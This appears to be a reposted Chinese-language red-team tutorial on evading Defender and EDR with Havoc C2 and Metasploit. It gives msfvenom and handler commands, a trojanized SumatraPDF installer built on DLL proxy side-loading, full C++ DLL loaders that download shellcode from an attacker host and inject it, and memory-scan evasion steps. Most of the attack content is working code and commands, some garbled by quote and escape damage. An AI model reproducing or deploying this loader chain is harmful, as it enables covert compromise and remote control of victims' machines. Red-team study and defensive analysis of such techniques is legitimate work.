2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

admin 2024年1月29日20:36:25评论18 views字数 14726阅读49分5秒阅读模式

Havoc C2 是一种现代的恶意后利用框架,已迅速成为许多人最喜欢的开源 C2 之一。它的功能提供了完成渗透测试或红队参与所需的一切。它被设计为尽可能具有可塑性和模块化。也就是说,Demon 代理被设计为能够与常见技术进行互操作,通过加载器、加壳器、加密器和 stager 等软件绕过 AV/EDR。

到 2024 年,我们需要做一些事情来定制我们的漏洞利用链以绕过 AV/EDR/IDS。具体来说,我们需要使我们的 shellcode 不太可能警告主机上基于签名和动态分析的检测,并使网络流量看起来更正常:

  • 通过 HTTPS 加密第一阶段和第二阶段有效负载连接,并使用经过验证的/非默认 SSL 证书。
  • 在我们的第一阶段和第二阶段侦听器/有效负载中添加自定义标头、用户代理、证书、URI、抖动和 ROP 链,以使 Blue Teamers 和 AV/EDR 更难检测到您的 C2 连接。
  • 让我们的自定义 DLL(加载程序)通过 DLL 代理劫持和从普通可移植可执行文件 (PE) 侧面加载来执行,以保持不被发现。
  • 将所有这些打包到一个可执行文件中并使用有效证书进行签名。(第2部分)
  • 使用重定向器服务器通过 ligolo-ng 之类的东西隐藏我们的团队服务器(命令和控制服务器)的真实位置(第 2 部分)

设置 Havoc C2

首先,我们需要设置团队服务器。这是运行我们代理的任何受害者的中心枢纽。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
设置 Team Server,所有 C2 连接的中心

然后,运行客户端并将其连接到团队服务器。用户名/密码和端口号位于 ./profiles/havoc.yaotl 文件中。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
设置连接到 Team Server 的客户端

最后,出现用户界面 GUI,它允许我们创建侦听器并为这些侦听器创建有效负载。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Havoc C2 用户界面

设置 Havoc C2 监听器

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Havoc C2 侦听器的用户代理生成器

转到“查看 > 侦听器”以设置受害者在执行第 2 阶段有效负载时将连接到的侦听器。使用上面的用户代理生成器创建随机用户代理。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Havoc C2 HTTPS 监听器

创建第 2 阶段 Shellcode

我们创建第二阶段 shellcode,该代码将在初始第一阶段连接后从攻击者传输到受害者。目的是这个 shellcode 比第 1 阶段 shellcode 大得多,因此我们减少了放在磁盘上的 shellcode 的大小。单击“攻击 > 有效负载”。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Havoc C2 HTTPS 有效负载 (demon.x64.bin)

有关我们用来使我们的第 2 阶段有效负载更加隐蔽的选项的一些信息:

  • 间接系统调用使系统调用命令的执行发生在 ntdll.dll 的内存中,因此对于 EDR 来说是合法的。通过用间接系统调用替换直接系统调用,生成的调用堆栈模仿了更传统的执行模式。这对于绕过检查执行系统调用及其返回的内存区域的 EDR 系统非常有用。其弱点是 ETW,可以通过下面描述的硬件断点来补偿。
  • 在睡眠阶段使用堆栈复制来逃避 C2 操作期间的检测。
  • Foliage 是一种睡眠混淆技术,它创建一个新线程并使用 NtApcQueueThread 对 ROP 链进行排队。面向返回的编程(或 ROP)是将小段汇编代码与堆栈控制链接在一起,使程序执行更复杂的事情。在这种情况下,Foliage 会加密我们的代理内存并延迟执行。
  • RtlCreateTimer 用于在睡眠周期之间对 ROP 链本身进行排队。
  • AMSI(反恶意软件扫描接口)和 ETW(Windows 事件跟踪)的结合使红队模拟攻击(例如域枚举和权限升级)变得具有挑战性,因为 AMSI 扫描代码,ETW 提供有关 PE 使用的类和方法的报告。因此,我们希望通过硬件断点来绕过这个问题,这基本上会在调试模式下加载一个新进程,而无需挂钩 EDR 或 amsi.dll。在这里阅读有关该技术的信息:

https://cymulate.com/blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints

点击generate,我们可以看到payload保存为demon.x64.bin。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
第 2 阶段 Shellcode 保存位置

创建第 1 阶段 Shellcode

我们需要创建第一阶段有效负载,这是受害者上恶意 DLL 加载器(在磁盘上)内的唯一 shellcode。我们首先要生成一个不会被指纹识别为来自 msfvenom 的 SSL 证书。这非常重要,否则您的 meterpreter 连接将被检测到。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

然后我们使用以下选项编译 shellcode,以帮助我们不被 AV/EDR 检测到:

msfvenom -p windows/x64/custom/reverse_https LHOST=10.0.2.9 LPORT=8443 EXITFUNC=thread -f raw HttpUserAgent=’Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' LURI=blog.html HandlerSSLCert=/home/atler/Downloads/www.google.com.pem

code 创建到攻击者计算机的反向 shell 连接,以传输我们刚刚生成的第 2 阶段有效负载 (demon.x64.bin)。只有2500字节左右就已经很不错了!

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

现在我们需要使用 msfconsole 创建一个侦听器来处理我们刚刚创建的反向 shell 代码。我们确保输入 SHELLCODE_FILE 作为我们之前生成的 Havoc C2 二进制文件 (demon.x64.bin),以便我们可以在通过 meterpreter HTTPS 进行初始连接后发送第 2 阶段有效负载。以下是选项:

  • use multi/handler
  • set payload windows/x64/custom/reverse_https
  • set exitfunc thread
  • set lhost <IP ADDR>
  • set lport 8443
  • set luri blog.html
  • set HttpServerName Blogger
  • set shellcode_file demon.x64.bin
  • set exitonsession false
  • set HttpHostHeader www.factbook.com
  • set HandlerSSLCert www.google.com.pem
  • 设置 HttpHostHeader www.factbook.com
  • 设置 HandlerSSLCert www.google.com.pem
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

我们的连接流程如下所示:

步骤1)受害者在磁盘上执行第1阶段有效负载→攻击者从端口8443(Metasploit)下载第2阶段有效负载

步骤 2)在受害者上执行第 2 阶段连接,并在攻击者上建立到端口 443 (Havoc C2) 的 C2

通过DLL代理劫持+侧载执行C2连接

我们需要决定如何秘密地运行我们的 DLL。当然,有很多方法可以通过一些社会工程来做到这一点。我们可以做的是在 PowerShell 中使用 rundll32.exe,但这很可能被 EDR 捕获,即使在 PowerShell 中绕过 AMSI。我们要做的是通过普通 PE 的 DLL 代理来侧载 DLL。

确定使用什么PE

第一步是找到一个易受攻击的 PE,最好是签名/受信任的,并允许侧面加载 DLL,这意味着如果 DLL 具有正确的名称并且与 PE 位于同一目录中,则 DLL 将随 PE 一起加载(默认情况下)对于 64 位系统)。我将使用 Sumatra PDF 设置可执行文件。我在这里下载了可执行文件:

https://www.sumatrapdfreader.org/download-free-pdf-viewer

查找我们的恶意 DLL 的命名以及合法 DLL 的导出定义

仅仅将任何 DLL 放在与 SumatraPDF.exe 相同的目录中是不够的,因为我们不知道加载的 DLL 的名称,即使知道,它也会破坏 PE 本身,从而泄露我们的信息。DLL 代理是一种恢复本机 DLL 执行流(函数调用)的技术,因此 PE 不会被损坏。为了查找易受攻击的 DLL 的名称并创建our .cpp 模板,我们将使用一个名为 Sparticus 的工具:

https://github.com/Accenture/Spartacus

在 Windows 上,我们在 Powershell 中运行以下命令,然后从系统上的任何位置执行 SumatraPDF.exe。您还需要从 sysinternals 下载 procmon。然后,Sparticus 找到哪些 DLL 是可劫持的(多个,但我选择了 DWrite.dll),导出它们的定义并生成一个 cpp 模板,我们可以使用 Visual Studio 打开该模板,当我们 DLL 旁加载时,该模板不会破坏特定的 PE!

.Spartacus.exemode dllprocmon .Procmon.exepml C:Datalogs.pmlcsv C:DataVulnerableDLLFiles.csvsolution C:DataSolutionsverbose
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

顶部的编译指示注释会解析合法的 DLL 导出表并创建一个包含导出定义的 C++ 头,C++ 编译链接器可使用该头来创建新的恶意 DLL。我们可以使用我们的第 1 阶段有效负载 Shellcode 在 Visual Studio 中加载 Sparticus 生成的 .cpp 模板并构建它:

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

在 Visual Studio 中构建我们的恶意 DLL (dllmain.cpp)。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

确保构建适用于 x64 版本。下面是我们在dllmain.cpp中使用的代码:

#pragma once#pragma comment(linker,”/export:DWriteCreateFactory=C:\Windows\System32\DWrite.DWriteCreateFactory,@1")#include “windows.h”#include “ios”#include “fstream”VOID Payload() {unsigned char shellcode[] =“xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50”“x52x48x31xd2x65x48x8bx52x60x51x56x48x8bx52”“x18x48x8bx52x20x4dx31xc9x48x8bx72x50x48x0f”“xb7x4ax4ax48x31xc0xacx3cx61x7cx02x2cx20x41”“xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52”“x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f”“x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0”“x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49”“x01xd0xe3x56x4dx31xc9x48xffxc9x41x8bx34x88”“x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1”“x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8”“x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44”“x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41”“x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83”“xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9”“x4bxffxffxffx5dx48x31xdbx53x49xbex77x69x6e”“x69x6ex65x74x00x41x56x48x89xe1x49xc7xc2x4c”“x77x26x07xffxd5x53x53x48x89xe1x53x5ax4dx31”“xc0x4dx31xc9x53x53x49xbax3ax56x79xa7x00x00”“x00x00xffxd5xe8x09x00x00x00x31x30x2ex30x2e”“x32x2ex39x00x5ax48x89xc1x49xc7xc0xfbx20x00”“x00x4dx31xc9x53x53x6ax03x53x49xbax57x89x9f”“xc6x00x00x00x00xffxd5xe8x29x00x00x00x2fx62”“x6cx6fx67x2ex68x74x6dx6cx2fx61x78x62x43x49”“x54x55x31x31x4fx6fx69x31x79x50x56x52x32x61”“x54x48x67x43x42x33x6ax76x50x43x00x48x89xc1”“x53x5ax41x58x4dx31xc9x53x48xb8x00x32xa8x84”“x00x00x00x00x50x53x53x49xc7xc2xebx55x2ex3b”“xffxd5x48x89xc6x6ax0ax5fx48x89xf1x6ax1fx5a”“x52x68x80x33x00x00x49x89xe0x6ax04x41x59x49”“xbax75x46x9ex86x00x00x00x00xffxd5x4dx31xc0”“x53x5ax48x89xf1x4dx31xc9x4dx31xc9x53x53x49”“xc7xc2x2dx06x18x7bxffxd5x85xc0x75x23x48xc7”“xc1x88x13x00x00x49xbax44xf0x35xe0x00x00x00”“x00xffxd5x48xffxcfx74x02xebxaax49xc7xc2xf0”“xb5xa2x56xffxd5x53x48x89xe2x53x49x89xe1x6a”“x04x41x58x48x89xf1x49xbax12x96x89xe2x00x00”“x00x00xffxd5x85xc0x74xd8x48x83xc4x28x53x59”“x5ax48x89xd3x6ax40x41x59x49xc7xc0x00x10x00”“x00x49xbax58xa4x53xe5x00x00x00x00xffxd5x48”“x93x53x53x48x89xe7x48x89xf1x49x89xc0x48x89”“xdax49x89xf9x49xbax12x96x89xe2x00x00x00x00”“xffxd5x48x83xc4x20x85xc0x0fx84x8cxffxffxff”“x58xc3”;HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);CloseHandle(processHandle);}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){switch (fdwReason){case DLL_PROCESS_ATTACH:Payload();break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;}return TRUE;}

我们做了一些事情来更改上面的代码,而不是原始的斯巴达克斯输出。重要的是顶部的编译指示注释(在我的例子中只有一个),它基本上将运行 DWrite.dll 导出表。我删除了默认包含在我们的 Sparticus 模板中的 hModule 和 DebugToFile() 函数。我们还将为第 1 阶段有效负载创建的 msfvenom shellcode 复制并粘贴到变量shellcode中,如上所示。然后,我们创建一个 Payload() 函数,该函数实际上使用 SumatraPDF 可执行文件中的 RemoteThread执行shellcode 。

我首先想通过先关闭 Defender 来确保我的 DWrite.DLL 正常工作,我们可以在下面的 procmon 中看到我们的自定义 DLL 首先被加载,然后它排队加载 C:WindowsSystem32DWrite 中的原始文件.dll。太好了,我们已经实现了 DLL 代理和侧面加载,因此程序不会崩溃。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Procmon POC:首先加载 SumatraPDF Installer 文件夹中的恶意 DLL
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Procmon POC:C:Windowssystem32 中的合法 DLL,由我们的恶意 DLL 中的导出定义执行

测试 AV/EDR 检测

我们可以将 SumatraPDF-3.5.2–64-install.exe 和我们的新 DLL 以 zip 文件形式发送给受害者。这仍然不会绕过像 applocker 这样的保护,但你可以通过一些基本的绕过来达到这一点。该可执行文件的外观和行为类似于 SumatraPDF 的安装可执行文件,但也会在后台与 Havoc C2 建立连接。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

更加努力

重新打开 Defender 并尝试运行可执行文件后,我们发现它仍然捕获恶意 DLL。具体来说,它检测硬编码在shellcode变量中的 meterpreter shellcode 。我们需要找到一种方法来加载这个 shellcode,而不是将其直接放入 DLL 中。为此,我们将剖析下面的部分资源,以将shellcode变量从远程服务器加载到受害者的本地内存中,这应该可以减轻我们在脚本中硬编码的需要:

https://github.com/SaadAhla/Shellcode-Hide

#pragma once#include <winsock2.h>#include <ws2tcpip.h>#include <Windows.h>#include <stdio.h>#include “ios”#include “fstream”char ip[] = “10.0.2.9”;char port[] = “80”;char resource[] = “iloveblogs.bin”;#pragma comment(lib, “ntdll”)#pragma comment(linker,”/export:DWriteCreateFactory=C:\Windows\System32\DWrite.DWriteCreateFactory,@1")#pragma comment (lib, “Ws2_32.lib”)#pragma comment (lib, “Mswsock.lib”)#pragma comment (lib, “AdvApi32.lib”)#define NtCurrentProcess() ((HANDLE)-1)#define DEFAULT_BUFLEN 4096#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endifEXTERN_C NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle,PVOID* BaseAddress,ULONG_PTR ZeroBits,PSIZE_T RegionSize,ULONG AllocationType,ULONG Protect);EXTERN_C NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN OUT PSIZE_T RegionSize,IN ULONG NewProtect,OUT PULONG OldProtect);EXTERN_C NTSTATUS NtCreateThreadEx(OUT PHANDLE hThread,IN ACCESS_MASK DesiredAccess,IN PVOID ObjectAttributes,IN HANDLE ProcessHandle,IN PVOID lpStartAddress,IN PVOID lpParameter,IN ULONG Flags,IN SIZE_T StackZeroBits,IN SIZE_T SizeOfStackCommit,IN SIZE_T SizeOfStackReserve,OUT PVOID lpBytesBuffer);EXTERN_C NTSTATUS NtWaitForSingleObject(IN HANDLE Handle,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout);void getShellcode_Run(char* host, char* port, char* resource) {DWORD oldp = 0;BOOL returnValue;size_t origsize = strlen(host) + 1;const size_t newsize = 100;size_t convertedChars = 0;wchar_t Whost[newsize];mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);WSADATA wsaData;SOCKET ConnectSocket = INVALID_SOCKET;struct addrinfo* result = NULL,* ptr = NULL,hints;char sendbuf[MAX_PATH] = “”;lstrcatA(sendbuf, “GET /”);lstrcatA(sendbuf, resource);char recvbuf[DEFAULT_BUFLEN];memset(recvbuf, 0, DEFAULT_BUFLEN);int iResult;int recvbuflen = DEFAULT_BUFLEN;// Initialize WinsockiResult = WSAStartup(MAKEWORD(2, 2), &wsaData);if (iResult!= 0) {printf(“WSAStartup failed with error: %dn”, iResult);return;}ZeroMemory(&hints, sizeof(hints));hints.ai_family = PF_INET;hints.ai_socktype = SOCK_STREAM;hints.ai_protocol = IPPROTO_TCP;// Resolve the server address and portiResult = getaddrinfo(host, port, &hints, &result);if (iResult!= 0) {printf(“getaddrinfo failed with error: %dn”, iResult);WSACleanup();return;}// Attempt to connect to an address until one succeedsfor (ptr = result; ptr!= NULL; ptr = ptr->ai_next) {// Create a SOCKET for connecting to serverConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,ptr->ai_protocol);if (ConnectSocket == INVALID_SOCKET) {printf(“socket failed with error: %ldn”, WSAGetLastError());WSACleanup();return;}// Connect to server.printf(“[+] Connect to %s:%s”, host, port);iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);if (iResult == SOCKET_ERROR) {closesocket(ConnectSocket);ConnectSocket = INVALID_SOCKET;continue;}break;}freeaddrinfo(result);if (ConnectSocket == INVALID_SOCKET) {printf(“Unable to connect to server!n”);WSACleanup();return;}// Send an initial bufferiResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);if (iResult == SOCKET_ERROR) {printf(“send failed with error: %dn”, WSAGetLastError());closesocket(ConnectSocket);WSACleanup();return;}printf(“n[+] Sent %ld Bytesn”, iResult);// shutdown the connection since no more data will be sentiResult = shutdown(ConnectSocket, SD_SEND);if (iResult == SOCKET_ERROR) {printf(“shutdown failed with error: %dn”, WSAGetLastError());closesocket(ConnectSocket);WSACleanup();return;}// Receive until the peer closes the connectiondo {iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);if (iResult > 0)printf(“[+] Received %d Bytesn”, iResult);else if (iResult == 0)printf(“[+] Connection closedn”);elseprintf(“recv failed with error: %dn”, WSAGetLastError());//EXECUTE SHELLCODE (BUF) STARTHANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);CloseHandle(processHandle);// EXECUTE SHELLCODE (BUF) END} while (iResult > 0);// cleanupclosesocket(ConnectSocket);WSACleanup();}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){switch (fdwReason){case DLL_PROCESS_ATTACH:getShellcode_Run(ip, port, resource);break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;}return TRUE;}

我基本上将整个脚本复制到我的 dllmain.cpp 中。我从 Sparticus 输出中保留了我需要的 pragma 注释(在我的例子中为 1 条注释):

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

并将创建线程进程放入我原来的payload()函数中,现在在getShellcode_Run()函数中运行。当使用我们的meterpreter shellcode 在进程上执行新线程时,我还将变量shellcode更改为recvbuf 。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

我添加了变量ipportresources以在 getShellcode_Run() 函数中远程获取我的 shellcode。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

我们需要做的最后一件事是将攻击者的第一阶段有效负载转换为二进制而不是 shellcode,因为我们将远程提供服务。我使用下面的 msfvenom 命令来创建我的 iloveblogs.bin 文件,而不是十六进制的原始 shellcode。然后我在端口 80 上启动了一个 HTTP 服务器来为受害者提供服务。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

我们的新连接流程如下所示:

步骤 1)受害者从我们的 HTTP 服务器的端口 80 下载 iloveblogs.bin shellcode(第 1 阶段)并将其加载到内存中。

步骤 2)受害者在攻击者上执行从端口 8443 (Metasploit) 下载的第 1 阶段有效负载 (iloveblogs.bin) → 第 2 阶段有效负载

步骤 3)在受害者上执行第 2 阶段连接,并在攻击者上建立到端口 443 (Havoc C2) 的 C2

再努力一次

因此您会注意到,这实际上会绕过 Defender (YAY),但可能不会绕过某些更专注地扫描内存的 EDR 产品。当调用我们在 DLL 中使用的 CreateProcess 和 CreateRemoteThread 等函数时,其他 AV/EDR 可能会扫描内存。因此,为了避免可能的检测,即使在内存中,我们也应该隐藏代码执行:

  1. 获取目标进程的句柄。GetProcessesByName 将用于此目的,然后使用 OpenProcess 打开目标进程(就像我们之前所做的那样,没有变化)

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

2. 调用VirtualAllocEx在目标进程内分配内存(就像我们之前所做的那样,没有变化)

PVOID RemoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

3. 调用VirtualProtectEx在内存区域设置PAGE_NO_ACCESS,这样AV就无法扫描它,但我们也无法写入它。

 PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

4. 使用 CreateRemoteThread 生成一个挂起的线程,以便创建该线程,但在显式恢复之前不会开始运行。

HANDLE RemoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0x00000004, NULL);

5. 等待 AV 尝试执行扫描,但由于无法读取内存,因此不会出现任何结果。这可能需要长达 15 秒的延迟,但一秒几乎不会被注意到。

Sleep(1090);

6. 在 AV 完成该操作并认为安全后,再次使用 VirtualProtectEx 将权限设置回 PAGE_EXECUTE_READWRITE。

VirtualProtectEx(processHandle, remoteBuffer, sizeof recvbuf, PROCESS_ALL_ACCESS, NULL);

7. 最后,调用 ResumeThread 来启动我们的线程。

ResumeThread(remoteThread);

8. 使用 WriteProcessMemory 在内存中运行我们的 shellcode。

WriteProcessMemory(processHandle,remoteBuffer,recvbuf,sizeofrecvbuf,NULL);

这是 Github 上的最终有效负载文件 dllmain.cpp:

https://github.com/srothlisberger6361/DLLHijack

(再次)测试 AV/EDR 绕过

如果这个 Meterpreter shellcode 有效,那么我们的 Havoc C2 连接肯定应该有效,因为我们为此实现了更新的旁路和模糊技术。我双击我们的 Sumatra PDF 安装程序可执行文件。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Windows Defender 已启用并已更新
2024 年最新基于 Havoc C2的 AV/EDR 绕过方法
Sumatra PDF 安装程序正常运行

该 DLL 从我的 HTTP 服务器获取我的第 1 阶段有效负载,并通过 HTTPS 将其执行到我的 meterpreter multi/listener。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

通过 meterpreter 建立 HTTPS 连接,并在受害者上下载并执行第 2 阶段有效负载。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

我终于在 Havoc C2 客户端上收到加密的 C2 会话。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

到目前为止这很棒!在我的下一篇文章中,我们将介绍如何打包这个可执行文件和 DLL,使其看起来不那么不祥,使用它来实现计划任务的持久性,以及通过互联网而不是本地网络进行利用。我希望您喜欢阅读!

奖励:Wireshark 分析

我对这些连接在 Wireshark 上的样子很感兴趣。对于下面的 pcap 数据,攻击者 IP 为 10.0.2.9,受害者 IP 为 10.0.2.15。

  1. 第 2 阶段有效负载(meterpreter)下载:

第 1 阶段有效负载 shellcode 加载到内存后,受害者执行它来下载第 2 阶段有效负载。在初次 TCP 握手 (10-14) 后,受害者说这是我创建安全会话的所有选项 (18)。然后服务器说这是我的证书和我的会话选项 (20)。然后受害者回来说我想使用这些选项。服务器创建一个新的会话票证 (23),受害者确认它 (24)。然后从数据包 (34) 开始,使用加密的会话票证将第 2 阶段有效负载发送给受害者。在数据包 44 中,整个第 2 阶段有效负载被发送给受害者。总的来说,这在网络方面看起来很正常。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

2. 第 2 阶段有效负载 (Havoc C2) 执行:

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

上面看起来我们的 Havoc C2 为客户生成的 SSL 证书是为亚利桑那州的某家公司提供的。下面,在 Havoc C2 中发送命令“whoami”会生成约 4kb 的有效负载大小,这一点也不错。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

受害者继续非常频繁地对攻击者执行 ping 操作,并且攻击者客户端会回复 ACK。让我们看看下面的真实 HTTPS 网站连接https://facebook.com (68.105.28.11)的情况如何。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

因此,服务器和客户端的行为方式相同,通过多次 ping 对方。受害者(客户端)继续向服务器(攻击者)发送应用程序数据,服务器(攻击者)以 ACK 进行响应。数据包长度似乎也大致相同,因此我认为 Havoc C2 可以很好地应对大多数 EDR 和 IDS/IPS 规则集。

 

原文始发于微信公众号(安全狗的自我修养):2024 年最新基于 Havoc C2的 AV/EDR 绕过方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日20:36:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024 年最新基于 Havoc C2的 AV/EDR 绕过方法https://cn-sec.com/archives/2440993.html

发表评论

匿名网友 填写信息